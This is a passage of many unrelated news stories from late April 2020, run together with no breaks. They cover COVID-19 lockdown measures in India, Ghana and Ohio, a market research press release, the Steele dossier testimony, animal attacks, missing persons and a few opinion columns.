reported. "The video conference would take place this Thursday, on April 30. There will be all four foreign ministers. I thank them for agreeing to take part in the event. There is a long-standing need for a ministerial conversation in Normandy format, as we see that the decision of the Normandy Paris Summit is being stalled and we need to give impetus to its implementation in order to open the way for the next summit in Berlin where we will have to reach new agreements and follow a path to the end of the war, to de-occupation of Ukrainian territories and, finally, to the end of the Russian aggression," he said. The minister noted that one of the key goals of the forthcoming meeting was to assess what had been done since the last time the meeting had been held and until April 30. As we reported earlier, President of Russia Vladimir Putin held the phone talk with German Chancellor Angela Merkel and discussed the situation on the settlement of Donbas conflict. Bihar Deputy Chief Minister Sushil Kumar Modi on Tuesday came out with the suggestion that all COVID-19 patients and people put in quarantine should wear Aarogya Setu Embedded Wrist Band in order to monitor their body temperature and symptoms of disease besides tracking their movements. Modi, who also holds Information Technology department charge, made the suggestion before Union minister for Electronics, Information Technology and Communications Ravi Shankar Prasad during a meeting of the IT ministers of states held via video-conferencing. Heeding to Sushil Modis demand, the union minister informed him that Aarogya Setu app could soon be downloaded on feature phone also apart from the smart phone on which people are availing it presently. Modi informed the union minister that 38 lakh people have so far downloaded the Aarogya Setu app on their phones in Bihar. Out of this 5.62 lakh, the highest number of people, are from Patna followed by 1.81 lakh in the Muzaffarpur district. Modi also shared the procedure and information with states like Uttar Pradesh and Jharkhand with regard to the link issued by Bihar government to give special assistance of Rs 1,000 under Mukhya Mantri Vishesh Sahayta Yojana to each of those stranded outside Bihar due to coronavirus-induced lockdown. People living in Bihar and Nepal can not click the link as it is based on geo fencing technique, the Deputy CM said, adding it requires Aadhaar and bank account of the state besides geo-tagging selfie. A total of 1836 relatives of prisoners lodged in 57 jails of the state met the inmates via video-conferencing through e-mulakat app during the lockdown period, he said. The facility of issuing e-curfew pass has been made in 30 districts of the state with the help of IT, Modi said details of Aadhar and bank accounts have been gathered through the anganwadi portal despite closure of thes aganwadi centres. The details will help in extending various benefits to one crore beneficiaries, he said. Besides, details of Aadhar and bank accounts are being collected on Bihar Apda Sahyog Portal in order to get them matched with ration card data so that duplicate cards are not issued, Modi said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Increase in demand for interactive whiteboard in education sector, rise in trend of using touch-based devices, and surge in adoption of interactive display in retail applications fuel the growth of the global interactive display market. Based on technology, the LCD segment garnered the highest share in 2018. On the other hand, by region, North America was the dominant share holder in the year. Portland, April 28, 2020 (GLOBE NEWSWIRE) -- According to the report published by Allied Market Research, the global interactive display market was estimated at $14.63 billion in 2018 and is expected to hit $29.20 billion by 2026, registering a CAGR of 8.8% from 2019 to 2026. The report provides an in-depth analysis of the top investment pockets, top winning strategies, drivers & opportunities, market size & estimations, competitive scenario, and changing market trends. Increase in demand for interactive whiteboard in education sector, rise in trend of using touch-based devices, and surge in adoption of interactive display in retail applications fuel the growth of the global interactive display market. On the other hand, high cost of new display technologies hampers growth to some extent. However, surge in focus toward adoption of novel technologies is expected to create multiple opportunities in the near future. Download Sample Report: https://www.alliedmarketresearch.com/request-sample/6141 By panel type, the flat panel segment accounted for nearly 88% of the total market revenue in 2018, and is expected to rule the roost by the end of 2026. At the same time, the transparent panel segment is projected to manifest the fastest CAGR of 18.7% throughout the forecast period. By technology, the LCD segment held the highest share in 2018, generating more than two-thirds of the global market. The QD segment, on the other hand, is anticipated to register the fastest CAGR of 14.3% during the study period. By geography, North America contributed to nearly two-fifths of the total market share in 2018, and is predicted to lead the trail by the end of 2026. Simultaneously, the region across Asia-Pacific would portray the fastest CAGR of 13.0% till 2026. The other regions analyzed in the report include Europe and LAMEA. Story continues Enquire For Discount: https://www.alliedmarketresearch.com/purchase-enquiry/6141 The key market players analyzed in the global interactive display market report include Sharp Corporation, NEC Corporation, Elo Touch Solutions, Baanto International Ltd., Samsung Electronics Co. Ltd., ViewSonic Corporation, Planar Systems, LG Electronics, Horizon Display Inc., and Crystal Display Systems Ltd. These market players have incorporated several strategies including partnership, expansion, collaboration, joint ventures, and others to brace their stand in the industry. Access Avenue (Premium on-demand, subscription-based pricing model) @ https://www.alliedmarketresearch.com/Avenue-Membership-details Avenue, a user-based library of global market report database, provides comprehensive reports pertaining to the world's largest emerging markets. It further offers e-access to all the available industry reports just in a jiffy. By offering core business insights on the varied industries, economies, and end users worldwide, Avenue ensures that the registered members get an easy as well as single gateway to their all-inclusive requirements. Related Studies: Flat Panel Display Market Trends 2030 - Download Free PDF Brochure Interactive Kiosk Market Size, Trends 2030 - Download Free PDF Brochure About Us: Allied Market Research (AMR) is a full-service market research and business-consulting wing of Allied Analytics LLP based in Portland, Oregon. Allied Market Research provides global enterprises as well as medium and small businesses with unmatched quality of "Market Research Reports" and "Business Intelligence Solutions." AMR has a targeted view to provide business insights and consulting to assist its clients to make strategic business decisions and achieve sustainable growth in their respective market domain. We are in professional corporate relations with various companies and this helps us in digging out market data that helps us generate accurate research data tables and confirms utmost accuracy in our market forecasting. Each and every data presented in the reports published by us is extracted through primary interviews with top officials from leading companies of domain concerned. Our secondary data procurement methodology includes deep online and offline research and discussion with knowledgeable professionals and analysts in the industry. Contact: David Correa 5933 NE Win Sivers Drive #205, Portland, OR 97220 United States USA/Canada (Toll Free): +1-800-792-5285, +1-503-894-6022, +1-503-446-1141 UK: +44-845-528-1300 Hong Kong: +852-301-84916 India (Pune): +91-20-66346060 Fax: +1(855)550-5975 help@alliedmarketresearch.com Web: https://www.alliedmarketresearch.com The Delhi government has partially relaxed lockdown rules by allowing self-employed persons like plumbers, water purifiers, electricians to resume their jobs. Under the home ministry's guidelines, carpenters and motor mechanics are also allowed to work during the lockdown. In a 7-point order, the Delhi Disaster Management Authority (DDMA) has given a nod for inter/intra state travel (including air travel) of health workers, lab technicians, scientists, and other hospital support services. Delhi Government yesterday lifted the bar on veterinarians, plumbers,& electricians after reviewing #COVID19 situation in the national capital. In the order, Delhi Disaster Management Authority(DDMA) also allowed inter-state travel of health workers, lab technicians & scientists. pic.twitter.com/4wlyzF6Mus ANI (@ANI) April 28, 2020 Besides, DDMA Chief Secretary Vijay Dev also lifted a ban on veterinary hospitals, dispensaries, pathology labs, and clinics. He also formally allowed the opening of stationary and electric fans' shops. Last week, the central government had permitted stationery shops and shops selling electric fans to run their businesses. In fact, Delhi Chief Minister Arvind Kejriwal had said that Delhi would follow the Centre's guidelines on opening of the neighbourhood and stand-alone shops during the lockdown till May 3. However, he added that no markets and shops would be allowed to open until May 3. All 99 containment zones are exempted from these relaxations, the order stated. Delhi has reported 2,198 coronavirus cases and 57 deaths so far. According to the health ministry, as many as 877 people have been cured as of April 27 (8 AM). Also read: Coronavirus crisis: WHO Chief Tedros says pandemic far from over, 'deeply concerned' about children Also read: Chargesheets against 3 IRS officers for report suggesting super rich tax Hyderabad, April 28 : On the fourth day of its visit to assess the COVID-19 situation in Hyderabad, the Inter Ministerial Central Team (IMCT) on Tuesday visited a hospital, a temporary shelter home for migrant workers and control room at Greater Hyderabad Municipal Corporation (GHMC) headquarters. The team led by Arun Baroka, Additional Secretary, Ministry of Jal Shakti, enquired about the functions of control room, facilities provided to the migrant workers in shelter homes, distribution of food to the needy and response to the calls about suspected Covid-19 cases. Officer on Special Duty, Anuradha explained to the team the functioning of the control room 24x7, supply of food to the needy by vehicles through Hare Krishna Foundation and Annapurna Meals and about getting feedback and tracking on health conditions of home quarantined people. The team made a call to the field staff and enquired to whom they have supplied food and how many on a particular day. The field staff gave the details which tallied with the data provided by the control room. The central team appreciated the functioning of the control room and providing shelter and food to the migrant workers by the GHMC. GHMC Commissioner Lokesh Kumar showed the control room to the team and explained how the online monitoring system works. The team later visited King Koti Hospital. It also visited Victory Play Ground where a temporary shelter has been provided for 102 migrant workers. The team enquired from the workers about facilities like food and health check up. Dr Chandrashekhar Gedam, Senior Public Health Specialist, Dr Hemlatha, Director, National Institute of Nutrition, Ministry of Health & Family Welfare, S.S. Thakur, Director, Ministry of Consumers Affairs and Shekhar Chaturvedi, Associate Professor, National Institute of Disaster Management are the members of the team. It is one of IMCTs constituted by the Ministry of Home Affairs to visit Hyderabad, Ahmedabad, Surat, Chennai and Thane, the major hotspots where the pandemic situation is described as serious. During the last four days, the team visited different hospitals, quarantine centres, containment zones, vegetable markets and interacted with top officials including Chief Secretary Somesh Kumar and Director General of Police Mahender Reddy. Mumbai, April 28 : Actress Celina Jaitly made her comeback with Ram Kamal Mukherjee's digital short film "Season's Greetings: A Tribute To Rituparno Ghosh". She says that though she missed out on a chance to work with the iconic Bengali filmmaker, she feels special having got a chance to work in the short film. Asked if she followed the work of Rituporno, Celina told IANS: "Once, Rituda has called me and wanted to cast me in a project. He did not know I was pregnant with my first set of twins at that time, and it didn't work out. I spoke to him last when his father passed away. It was an intimate conversation. Little did I know he will be leaving for his heavenly abode soon. His last words to me were that I must have the babies safely and that he would like me to stay at the Tolly club whenever we went ahead with a project after the delivery." She added: "Rituda calling me for a project was beyond my dreams. I had admired him so much that I couldn't believe my ears. Unfortunately, things were not meant to be, until Ram (Kamal Mukherjee) came along with this project. I had goosebumps it's as if things were working from the beyond. I hope Rituda will be happy and satisfied with our subtle tribute. I always pray that he has finally found the acceptance and place of no judgement." According to the actress, she was a fan of the late National award-winning filmmaker, and his 1997 release "Dahan" is one of her favourite films of Rituparno Ghosh. "I was in school when 'Dahan' released. I remember being mesmerised with the film and Romita, the character played by Rituparna Sengupta. Little did I know I would play a character named after her years later in a film which is, unfortunately, a posthumous tribute to the legend Rituparno Ghosh," recalled Celina. Ram Kamal Mukherjee's short film also features Shree Ghatak, Lillette Dubey, and Azhar Khan. Celina's last released film was "Will You Marry Me?" in 2012. The reason she did "Season's Greetings", she says, is because it was her mother's last wish that she should make a comeback and show people her true worth as an actress. "It was one of her last wishes that I return to cinema and show people my true talent. She never gave up on me. When our director Ram Kamal Mukherjee narrated the story in Dubai I knew this movie is a calling from beyond. A calling of four very important people in my life who are no more. Ritu Da, My late parents, a mother-figure trans person who is no more. I am very thankful to Ram for making my mother's wish come true," said the actress. "Season's Greetings" is streaming on ZEE5. (Arundhuti Banerjee can be contacted at arundhuti.b@ians.in) Photo: Contributed Regional animal control officer Wayne Belleville was quoted as saying: I think it would be anyones worst nightmare; a dog ripping your face apart. A 76-year-old Osoyoos woman had been knocked down and mauled. Injuries to her face were so severe she had to be airlifted to Vancouver for surgery. The large dog attacked again when Belleville went to investigate. It slipped out of its collar and sunk its teeth into Bellevilles arm. Belleville, a lover of dogs, was sickened not only by the incident, but also that he had to be involved in the dogs euthanasia. He emphasized the need to take the time to socialize pets. And if a guard dog, to ensure they are properly contained. RCMP Sgt. Jason Bayda was quoted as saying This incident is a sad reminder of what can happen when a dog is not socially trained and is not secured. Also showing concern for the dog, he noted Not only do we have a situation where two people were injured, we also have a situation where the dog needed to be put down. I posted about the incident on Facebook, inviting column topic ideas. Responses mirrored the comments of Belleville and Sgt. Bayda, emphasizing the responsibility of dog owners along with compassion for the dog. One commented: Its our job as pet owners to control our pets and teach them right from wrong every pet owner should be aware of what their dog is like and take precautions to keep everyone safe. She continued: However, I dont agree with this dog being put down. Dogs arent born mean. Its a lack of training and a reflection of the owner(s). Another: Disappointed in the care, discipline and raising of this pet. Show the love and pets show unconditionally. And another: No bad dogs, just bad owners. Yup. Its as much a pet owners responsibility to make sure their pet is safe and others are safe from them. Not just control them, but make sure they are socially adept so that the dog doesnt have to go through unnecessary stress either. Common sense... but it is not that common. I remember hearing the gunshots of my and my brothers pet dog, being killed by my father after they got a taste for chickens on the farm. Perhaps its my upbringing, or a correct assessment by a long ago girlfriend that Im emotionally dead, but my concern is not with the dog. My concern is with the elderly woman whose face was ripped apart. And the many others who are attacked from time to time causing less serious injuries. And owners of small dogs who undergo significant vet bills and sometimes the loss of their pets when uncontrolled larger dogs attack. I overwhelmingly agree that responsibility lies at the feet of the attacking dogs owner. A dogs owner has complete control over how much time and energy is spent socializing and training the dog. And to what extent, if at all, the dog is given freedom beyond the length of a leash. Does accountability breed motivation and commitment? Is it common sense that the higher the accountability of pet owners for damage caused by their pets, the more motivated and committed they are likely to be to ensure their pets dont cause damage? Would increased accountability lead to increased time and energy spent on socializing and training? And to an increased level of caution about letting them off leash? And might it lead to the choice of smaller, more docile types of pets capable of inflicting much less harm than larger, more aggressive types? In my next column I will review the level of accountability of dog owners in our current laws and ask whether we think that might need to change. UN agency says effect could be seen in just three months as spread of coronavirus risks devastating countries. Food insecurity could more than double in just three months as the spread of coronavirus risks devastating countries across East Africa. Tuesdays warning came from the United Nations World Food Programme (WFP) which estimates that some 20 million people currently do not have secure provisions of food across nine countries in the region: Burundi, Djibouti, Ethiopia, Eritrea, Kenya, Rwanda, Somalia and Uganda. The novel viruss outbreak in these countries has been so far relatively contained compared to other parts of the world. However, due to their often weak economies and poor health infrastructure, they are considered highly vulnerable to the impacts of the mounting crisis that has seen more than 212,000 people die. WFP projections are currently that the number of food-insecure people in the region is likely to increase to 34 or up to 43 million during the next three months due to the socioeconomic impact of COVID-19, spokeswoman Elisabeth Byrs told journalists in a virtual briefing. In the worst-case scenario, food insecurity will have more than doubled, she stressed, adding that nearly half of the projected 43 million people affected were expected to be acutely food insecure. Hunger pandemic WFPs chief David Beasley rang leaders of some of the worlds richest nations with a critical message: The coronavirus pandemic is not only affecting their economies but also the economies of vulnerable and conflict-torn countries where millions of people will face starvation if you cut the UN agencys funding for food, he said in an interview on Monday with the Associated Press. WFPs chief David Beasley warned of a potential hunger pandemic [Ashraf Shazly/AP] If we have money and access we can avert famine and we can truly avert catastrophic humanitarian death from starvation, Beasley said. But if we lose our funding, or we lose supply chain, theres going to be disaster. Last week, the director of the food agency warned the UN Security Council that the world is on the brink of a hunger pandemic that could lead to multiple famines of biblical proportions within a few months if immediate action was not taken. What you see in Africa right now is nothing compared to what youre going to see, just like what you were looking at in the United States or the UK just six weeks ago, he said. The first thing I want to stress about suggestions that a new Covid-19-related condition might be emerging in children is that everything we know about this strain of coronavirus indicates that it generally affects them very little, if at all. In the youngest age groups, deaths associated with this virus are rare and there is very good evidence worldwide that they are the part of the population least affected. That said, some paediatricians have begun to notice a currently unexplained pattern among a very small number of children who have become more seriously ill. Prof Russell Viner, President of the Royal College of Paediatrics and Child Health has written in Wednesday's edition of The Daily Mail These have been reported mainly in London, but also in other parts of the country and by colleagues in Spain, Italy and Ireland. Again, I emphasise that we are talking about only a handful of cases thought to be around 20 in the UK. They present with varied symptoms including abdominal pain, seizures and rashes. But what they seem to have in common is an over-activity of the immune system and inflammation of the blood vessels and heart. Some of the youngsters affected have required intensive care. As has been reported, there are some similarities with both Kawasaki disease which inflames the blood vessels and affects around eight in 100,000 children, mainly the underfives and with toxic shock syndrome, a rare complication of certain bacterial infections. However, what we are seeing are not classic presentations of either and so we are rapidly researching these cases, talking to doctors across the UK and our best child health scientists, as well as our counterparts internationally, to identify the underlying causes. In some cases, the children affected have tested positive for coronavirus, in others they have not. Since our tests for Covid-19 are not fail safe, it remains unclear whether these symptoms are related to the virus or not. Nothing can be ruled out. Most diseases have been around for years and we are familiar with all the different ways they present. With a new threat like this novel strain of coronavirus, we are familiar only with the most common manifestations and it takes months to see enough of the rare presentations to fit it all together as a pattern. But I suspect that its incredibly unlikely that we are talking about a new strain of the virus which targets children. Ill say again that coronavirus does not appear to affect children in the same way as it does adults. And bear in mind too that, just as there are ever-evolving strains of seasonal flu affecting the elderly, so every year sees fresh challenges to the health of the young, often in the form of new viruses. Strawberry tongues and bright swollen lips are signs of Kawasake disease, which has been compared to a new syndrome affecting children during the coronavirus pandemic This was the case long before Covid was around. In the past, we havent taken the step of closing the nations schools while researching and identifying such novel threats, and I dont think that early reports of this new condition are justification in themselves for extending the period we keep the schools closed during the current coronavirus pandemic. Indeed, rather than being a cause for alarm, the fact that this apparently new condition has been spotted is, I would argue, testimony to the joined-upness of the NHS. Most other health systems are far more fragmented. As for parents concerned about whether their child has this particular condition, the symptoms are so wide-ranging that there is, Im afraid, no straightforward way to know whether they should be worrying or not. The RCPCHs website offers specific advice for those concerned about children and coronavirus. But generally I would recommend parents using their judgment and common sense in the same way they would have done in pre-Covid times. If your child is ill, then seek prompt medical advice. The NHS is here for you. Christopher Steele admitted in a court hearing last month that his claims of secret communication between the 2016 Trump campaign and a Russian bank were based on a tip from a lawyer representing the DNC and Clinton campaign. Steele claimed in his infamous dossier that the founders of Alfa Bank had illicit ties to Vladimir Putin and acted as an undercover messaging channel between the Kremlin and the Trump Organization. He did not say where he had received the information. But under questioning from the lawyer of the bank owners, who sued him for defamation, Steele revealed that on July 29, 2016, he was told of the story by Perkins Coie lawyer and former DOJ official Michael Sussmann. Im very clear is that the first person that ever mentioned the Trump server issue, Alfa server issue, was Mr. Sussmann, Steele told Hugh Tomlinson, a lawyer for the Alfa Bank owners, on March 17, according to a transcript of the deposition obtained by the Daily Caller. Steele then admitted that Fusion GPS founder Glenn Simpson asked him after the meeting to write up a memo that was absolutely, definitely linked to the server issue. He then tasked his dossier source to do further investigating, and reported in the memo that the source met with a top level Russian government official who confirmed the allegations of coordination between the Trump campaign and Russia through Alfa Bank. It was revealed last week that Steele said in the same deposition that he had no records of any conversations with his primary sub-source, because they were wiped in early January 2017. Steele was deposed as part of a defamation lawsuit brought by two Russian bankers who he accused in the dossier of making illegal payments to Vladimir Putin. Fusion GPS was hired by a Perkins Coie colleague of Sussmann, Marc Elias general counsel for the Clinton campaign in April 2016 to dig up dirt on the Trump campaign. In June 2016, Fusion GPS then turned to Steele, a former British intelligence officer, to investigate Trumps alleged ties to Russia. Story continues Steele also testified that he met with Elias in Washington D.C., on September 22, 2016, three days after providing the FBI Crossfire Hurricane investigation with six memos but not the one on Alfa Bank from his dossier. DOJ Inspector General Michael Horowitzs December report detailed how the FBI, which received the Alfa Bank memo in November 2016, concluded by early February 2017 that there were no such links between the bank and the Trump apparatus. More from National Review You are clearly a super-user of NUVO.net. Thats a good thing. It means you depend on independent and local news sources to keep you informed. You are a smart person. Coincidentally, independent and local news sources depend on you too. Youve read 25 articles this month and now, wed like you to be join our mission and become a NUVO Supporter. For as little as $4 a month, you can keep us alive and fighting -- and can have unlimited access to the independent news that cant be found anywhere else. Comments to Sharechat go through an approval process. Comments which are defamatory, abusive or in some way deemed inappropriate will not be approved. It is allowable to use some form of non-de-plume for your name, however we recommend real email addresses are used. Comments from free email addresses such as Gmail, Yahoo, Hotmail, etc may not be approved. General Secretary of the largest opposition National Democratic Congress (NDC), Johnson Asiedu Nketia says President Nana Addo Dankwa Akufo-Addos primary objective is not to win the war against the deadly novel Coronavirus. According to him, Ghanaians should not delude themselves into thinking the President Akufo-Addo means whatever he says, especially on measures put in place to fight the COVID-19. Speaking on Okay FMs Ade Akye Abia Morning Show, General Mosquito as he is politically known, maintained that whenever the President addresses the public on COVID-19, it can be seen in two dimensions other than the primary goal of ending the global pandemic. One of the eyes of the President is largely focused on how to win the 2020 elections in the midst of COVID-19; that is the area of most concern to the President. Thus every measure he has put in place in the fight against novel coronavirus is geared towards winning the next elections. The second objective of the President and that is obviously not his priority, is his fight against the COVID-19, he asserted. He reiterated that at any point, if the President has to choose between what will make him win the next election and the one that will win the fight against the virus; he will definitely go for winning the next elections. The NDC Chief Scribe further catalogued a litany of instances on the part of the president that exposes the disparity between his remarks to Ghanaians in the fight against COVID-19 and his actions. "I am talking about the behaviour of the President and not the speeches he has read to us, in the fight against Coronavirus. Behaviour in any situation is more important than the words used to address the situation. And sadly, the conduct of the president in the fight against Coronavirus contradicts his words . . . The President gave some directives to ban all public gatherings including going to church and mosque as well as political campaigning which were good in order to stop the spread of the new coronavirus . . . later, we realised that the NIA which is directly under the Office of the President in the wake of the Presidents order to stop public gathering was still engaging the public to register people in the Eastern Region. So, we asked, is the President's word not different from his behaviour? It is also reported that one of the clergies who was part of the President's meeting at the Jubilee House asked him (the President) about the National Identification Authority (NIA's) conduct (which was in direct contravention of his order), and he replied that he was unaware until some NDC Executives in the Eastern Region took the matter to court . . . We got to know later that the President is aware of the operations of NIA when his lawyers filed an appeal against the court's ruling. To him, it was only the public's intense agitation that stopped the National Identification Authority (NIA) from resuming the exercise to register Ghanaians for their Ghana Card. Listen to him in the video below: Source: Daniel Adu Darko/Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Mr Clement Boateng, the National Organizer, Ghana Union of Traders Association (GUTA) has expressed satisfaction about the compliance level of members to wear face masks to curb the spread of the coronavirus (COVID-19). I am currently on the ground and I can say about 70 percent of traders are complying with the directive of wearing face masks to transact business, he said. The government had issued directives to guide the production and mandatory wearing of the face masks. It directed commercial vehicles to operate with a minimal number of passengers and urged businesses and supermarkets to adhere to the social distancing protocols. In an interview with the Ghana News Agency on the level of compliance, Mr Boateng said members were complying with the directive, adding that the traders are aware of their safety and the need to adhere to the orders. I was pleased to see posters display on shops at Abossey Okai with the inscription No Masks, No Entry, which encourages customers on the need to wear the masks before entry into the shops for business purposes. Mr Boateng said the Association was intensifying education on the directives to its members, adding that since the mandatory wearing of the face marks began today, he was optimistic that by tomorrow the compliance level would increase. We have informed our various executives to disseminate the information to their members because we believe that effective education is key to achieving the purpose of the directive. Responding to question on traders who failed to wear the face masks, Mr Boateng said they would have no option than to engage the security agencies to ensure compliance, but was hopeful members would adhere to the orders. On social distancing protocol, he said most of the shops have observed the directives since they are in shops, but the challenge was with the market women because of the crowded places. He advised traders to continue to adhere to the precautionary measures established by the World Health Organization and the Ghana Health Service to contain the virus, stressing that the disease is real. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video CLEVELAND, Ohio -- Ohio Catholic bishops have continued their suspension of public Mass through May 29, but hope to reopen churches to celebrate the Solemnity of Pentecost on May 30 and 31. Pentecost marks the descent of the Holy Spirit on the disciples of Jesus after his Ascension, and officially ends the Easter season. The bishops dispense all Ohioans from attending Sunday Mass until then. Gov. Mike DeWine on Monday continued the states stay-at-home order, while setting dates that manufacturing facilities, offices and stores can open. We thank you for and admire the patience, cooperation and understanding you have already shown during this COVID-19 pandemic, bishops wrote in a letter Tuesday. We realize the frustration, sadness, and loss the faithful felt not to be able to gather personally to celebrate the Paschal Mysteries during the Sacred Triduum and each Sunday. Bishops are working to consider reasonable, gradual and responsible initiatives for welcoming back the faithful for Mass, and they pastors and parishioners to begin to work to establish plans which respect social distancing and other requirements for the safety of our people. Bishops urged Catholics to participate in Sunday Mass through radio, TV or livestreamed services. Read the full letter below: Dear Brothers and Sisters in Christ, Yesterday, 27 April 2020, Governor Mike DeWine presented a strategy to begin a multi-phased plan, even while the executive Stay at Home Order remains in place. His plan begins a process for Ohioans gradually to return to work and daily activity and provides hope and evidence that our cooperation with the governors orders has significantly curbed the spread of the virus. We thank you for and admire the patience, cooperation and understanding you have already shown during this COVID-19 pandemic. We realize the frustration, sadness, and loss the faithful felt not to be able to gather personally to celebrate the Paschal Mysteries during the Sacred Triduum and each Sunday. During this time of sacrifice and longing, we have joined our prayers and hearts to yours, trusting that God will see us through this pandemic and reunite us at the Eucharistic Feast. Out of deep concern for the common good as well as the physical and spiritual well-being of all the people of Ohio, the Catholic Bishops of Ohio have agreed once again to cooperate with the governor, and to support and abide by the multi-phased approach to returning to work and eventual public gathering in large groups. To that end, the Catholic Bishops of Ohio extend the temporary suspension of all publicly celebrated Masses/liturgies ending on May 29th, with the hope of publicly celebrating together the Solemnity of Pentecost on the weekend of May 30/31. Each of the bishops of Ohio, once again, dispense the Catholic faithful who reside in their respective dioceses and all other Catholics currently in their territories from the obligation of attending Sunday Mass during this time. We ask for the cooperation and adherence of all the faithful to the governors directives during this period. We will be working diligently with our pastoral teams to consider reasonable, gradual and responsible initiatives for welcoming back the faithful in time to Sunday Mass, initiatives which will renew our love for the Holy Eucharist and the Sacrament of Reconciliation, and which will help us to restore Catholic life and invite others to share that life after the pandemic. We encourage individual dioceses and their respective pastors and parishioners to begin to work to establish plans which respect social distancing and other requirements for the safety of our people. This decision has not been taken lightly and, as your bishops, together with you, we recognize the sacrifice we are called to make being physically distanced from the Holy Eucharist and from one another. We remain grateful for your understanding and prayerful support. As your bishops we continue to encourage you to keep holy the Lords Day by participating in Sunday Mass by way of radio broadcast or televised or livestreamed options and making a spiritual communion. Keeping in mind of the gift of plenary indulgences offered to us by the Church, we encourage all the faithful to turn to the Churchs treasury of prayer, praying as a family or individually the Liturgy of the Hours, rosary, divine mercy chaplet, and Stations of the Cross, etc. Together we continue to pray for all who are suffering from Covid19, for all health care workers and first responders, for all the deceased and their families, and for an easing of the anxiety and tension caused by this pandemic. Relying on the Motherly care of Our Lady, Health of the Sick, we unite our sufferings to those of Our Lord Jesus Christ, and we trust in the glorious hope of His Resurrection. Share this article Whatsapp Facebook Twitter Linkedin Rizal Harahap (The Jakarta Post) Pekanbaru, Riau Tue, April 28, 2020 17:56 624 fc6853813033f564188675f8bd4c4d5b 1 National crocodile-attacks,animal-attack,animal,crocodile-hunt,crocodiles,Riau Free The residents of Teluk Lanus village in Siak regency, Riau captured and killed on Monday a 4-meter-long saltwater crocodile in the Lakar delta believed to have eaten Syafri, a 55-year-old fisherman from Meranti Islands regency. On Sunday evening, Syafri and his friend Toha were setting fish traps at the Lakar River delta when a crocodile attacked. Toha managed to escape the attack and tried to help Syafrin, but to no avail as Syafrin was dragged into the river by the crocodile. Toha immediately sought help from the Teluk Lanus village officers. Teluk Lanus residents teamed up with the Military and the Police to search for Syafri on Sunday, but the man was not found. The next morning, the search continued and residents found the left leg of a man in swamps not far from the location of the crocodile attack. Residents continued along the swamp canals in canoes and lay nets around the delta of the Lakar River. The crocodile was eventually captured, and residents decided to cut open the animal's stomach to prove that it had eaten a man. Human body parts including a head were found inside the stomach. Read also: Jambi wildlife agency investigates death of crocodile Riau Natural Resources Conservation Agency (BKSDA) conservation and resources unit head Heru Sutmantoro regretted the mans death. We have long warned the public to avoid saltwater crocodile habitat and be careful around that area. This was not the first attack, similar attacks have happened before around the Lakar River, he said on Monday. Heru said the agency had disseminated the information to residents in June 2019. The victim probably did not know the area was a habitat for saltwater crocodiles, he added. He also regretted that the crocodile was killed by residents. Saltwater crocodiles are among the wild animals protected by the law, said Heru. He said, however, that the Riau BKSDA had no authority to impose sanctions. It is the authority of the Police or the Environment and Forest Ministrys law enforcement center. We will increase our capacity in surveying and mapping crocodile habitats as well as monitoring the crocodiles, he said. (aly) (Newser) The FBI and Maryland State Police are searching for two women last seen in early April who have ties to accused murderers. Heather Grogg, 33, worked as a live-in babysitter at the home of David Sanford Jr., one of three men charged in the March 18 murder of Jonathan Riddle. In the midst of an argument, Riddle was stabbed twice at Sanford's home, then taken to a rural area in West Virginia, where he was fatally stabbed and set on fire, according to police. Grogg seemed shocked by Riddle's murder, her sister tells NBC News. But "I'm worried she witnessed something she shouldn't have seen," says Brandie Hebb. "It's not like her to just disappear." Hebb last heard from her sister, a mother of four, on April 3. Grogg "seemed a little stressed" and "wanted to see me face-to face," but the sisters opted to forgo a meeting owing to the statewide stay-at-home order. story continues below Authorities believe Grogg may be with the other missing woman, 18-year-old Danielle Tyler, who frequented Sanford's home and was dating another of the murder suspects, Monroe Merrell, with whom Riddle apparently argued. Grogg and Tyler were last seen together in Carroll County on April 6, days before the suspects were arrested, per CBS Baltimore. That was also the last time Tyler's grandmother heard from the high school senior. "I think I am going to turn my phone off for a little bit I am just tired of all the drama," Tyler wrote in a text, per People. Sherry Tyler later filed a missing persons report at the urging of homicide detectives. "I am scared to death," she tells the Baltimore Sun. "I am afraid that maybe she saw something, these girls saw something." State police say the women are "considered to be critically missing and in danger." (Read more missing persons stories.) In a recent opinion piece, Vermont "climate scientist" Alan Betts rejoiced at the world's financial troubles, beginning with his title: "The global economy crumbles." Hundreds of millions of people face imminent starvation globally, but Mr. Betts (an expert in "atmospheric research") gloats that "reality has intruded on sacred 'free-market' theology." To Betts, all of the world's problems were created by cruel, unnamed capitalists who manipulated the poor while toxifying the environment. He lambasts these horrible antagonists: Capitalism has no moral guiding principles, it simply demands growth and profits, with no consideration for resilience and long-term stability. Historically, justice for working people was not considered, let alone justice for life on Earth[.] ... Looking back, it is clear that the growth of the capitalist system was powered by fossil fuel. Ironically, Mr. Betts has not "historically considered" the state from whence he is shrieking. Vermont, which boasts a history of self-reliance and small farm production, has long been sustained on that capitalism he disdains as unjust (long before fossil fuel dependency). But for him, Vermont must be delivered from capitalist injustice through the unnamed virtues of socialism, by embracing more local production and control. Says Betts: [W]e must step away from the endless pleas for growth, and grasp the simple reality that exponential [sic] growth of the consumer economy means sacrificing the planet just so some can profit. This too is stupid when our engineers could easily and cheaply build long-lived products for a sustainable society instead of the throw-away culture that was started in the 1950s. This "simple reality" must be the one Betts suggested hadn't "intruded on sacred free-market theology." But Betts's "simple reality" points to "the consumer economy." Is that the fault of the mysterious capitalists? Mr. Betts blames the producers and the consumers of the goods is he Marxist or bourgeois? Mr. Betts promises undisclosed socialist panaceas to rescue the planet's future from the totalitarian grip of the capitalist past. His sole (atmospheric?) policy prescription is a regressive tax on gasoline: Now is a perfect time to add a fossil carbon tax, when the price of oil is low, to fund the transition to an efficient society powered by renewable energy. The public would not notice, but what is obvious to us is unthinkable to the rich and powerful oil industry, which demands instead subsidies to protect profits as usual. Betts wishes to use what he calls the "clueless central government" to take money from low-income drivers (while they "won't notice") to transfer (as subsidies) to the rich and powerful renewable energy industry, in the name of the "rich and powerful oil industry." Presumably, the money siphoned off those poor-slob car-drivers would "fund the transition" to throw away that throwaway culture and manufacture a new Shangri-La. But Betts hasn't asked for consumption to be thrown away. He also hasn't told readers where to throw away the tens of millions of people facing starvation due 